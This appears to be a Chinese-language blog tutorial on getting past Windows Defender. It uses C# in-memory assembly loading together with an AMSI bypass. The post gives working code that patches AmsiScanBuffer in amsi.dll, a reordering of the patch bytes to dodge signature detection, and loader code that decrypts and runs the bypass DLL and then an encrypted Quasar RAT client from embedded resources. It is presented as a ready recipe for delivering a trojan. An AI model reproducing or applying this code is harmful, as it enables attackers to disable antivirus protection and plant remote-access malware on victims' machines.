使用C#动态加载与ASMI Bypass绕过Windows Defender
使用C#动态加载与ASMI Bypass绕过Windows Defender
1. 什么是C#的动态加载
C#允许使用Assembly动态加载DLL/EXE等可执行文件,并且可以调用其中指定的函数,写法如下
Assembly assem = Assembly.Load(payload);
MethodInfo main = assem.EntryPoint;
main.Invoke(null, new string[] { null });
其中加载支持从文件或从内存加载,分别有如下实现
为了防止文件落地,我们一般只使用内存加载,因为如果你的payload被杀,也无法通过文件进行加载,如果使用内存加载,我们就可以先对Payload进行一定的混淆加密,这样在运行之前都不会被查杀
2. 什么是ASMI与如何Bypass
ASMI实际是程序在运行的时候会被注入一个asmi.dll,该文件会对程序运行时进行动态查杀,并且会查杀之后返回一个ASMI_RESULT,这里result里面存储了查杀的结果。
如果我要进行bypass,只需要hook这个result,让其返回一个正常结果即可实现绕过ASMI的检测。
github上有现成的实现,直接拿来用即可
https://github.com/rasta-mouse/AmsiScanBufferBypass/blob/master/ASBBypass/Program.cs
核心部分如下
public class Amsi
{
// https://twitter.com/_xpn_/status/1170852932650262530
static byte[] x64 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
static byte[] x86 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 };
public static void Bypass()
{
if (is64Bit())
PatchAmsi(x64);
else
PatchAmsi(x86);
}
private static void PatchAmsi(byte[] patch)
{
try
{
var lib = Win32.LoadLibrary("amsi.dll");
var addr = Win32.GetProcAddress(lib, "AmsiScanBuffer");
uint oldProtect;
Win32.VirtualProtect(addr, (UIntPtr)patch.Length, 0x40, out oldProtect);
Marshal.Copy(patch, 0, addr, patch.Length);
}
catch (Exception e)
{
Console.WriteLine(" [x] {0}", e.Message);
Console.WriteLine(" [x] {0}", e.InnerException);
}
}
}
但是因为该库可能使用的人比较多,导致该dll会被查杀,我们只需要修改
static byte[] x64 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
static byte[] x86 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 };
把其中的数组顺序改一下,然后在输入的时候还原回去即可
少做修改如下
public static void PatchNew()
{
byte[] patch = new byte[8];
patch[0]= 0xB8;
patch[1] = 0x57;
patch[2] = 0x00;
patch[3] = 0x07;
patch[4] = 0x80;
patch[5] = 0xC2;
patch[6] = 0x18;
patch[7] = 0x00;
//0xB8, , , , , , ,
try
{
var lib = Win32.LoadLibrary("amsi.dll");
var addr = Win32.GetProcAddress(lib, "AmsiScanBuffer");
uint oldProtect;
Win32.VirtualProtect(addr, (UIntPtr)patch.Length, 0x40, out oldProtect);
Marshal.Copy(patch, 0, addr, patch.Length);
}
catch (Exception e)
{
Console.WriteLine(" [x] {0}", e.Message);
Console.WriteLine(" [x] {0}", e.InnerException);
}
}
3. 用起来
首先把ASMIBypass编译出来,最后会生成一个DLL文件,我们新建一个C#的项目工程,可以直接引用这个dll文件,也可以通过我们前面说的动态调用进行执行,我这里对这个DLL进行了简单的混淆,并且把它加到资源文件中,最后通过动态调用他执行Bypass。
其中调用ASMIBypass部分代码如下
public static void LoadBypassDll()
{
Assembly assembly = Assembly.GetExecutingAssembly();
Assembly myAssem = Assembly.GetEntryAssembly();
string asb = Resource1.ASBBypass_dll;
string result = Dencrypt(asb);
byte[] payload = Convert.FromBase64String(result);
Assembly assem = Assembly.Load(payload);
var theType = assem.GetType("HelloWord");
var c = Activator.CreateInstance(theType);
var method = theType.GetMethod("PatchNew");
method.Invoke(c, null);
}
然后把我们的马也进行混淆加密,同样放入资源文件
我这里用的Quasar-1.3.0.0生成的客户端
然后动态调用其入口函数
public static void LoadShellCode()
{
string result = Resource1.install2_exe;
result = Dencrypt(result);
byte[] payload = Convert.FromBase64String(result);
Assembly assem = Assembly.Load(payload);
MethodInfo main = assem.EntryPoint;
main.Invoke(null, new string[] { null });
}
剩下我们只需要在程序运行的时候先调用Bypass,在运行我们的马即可
namespace ASMIbypassM
{
class Program
{
static void Main(string[] args)
{
Bypass.LoadBypassDll();
Bypass.LoadShellCode();
}
}
}
最后运行毫无压力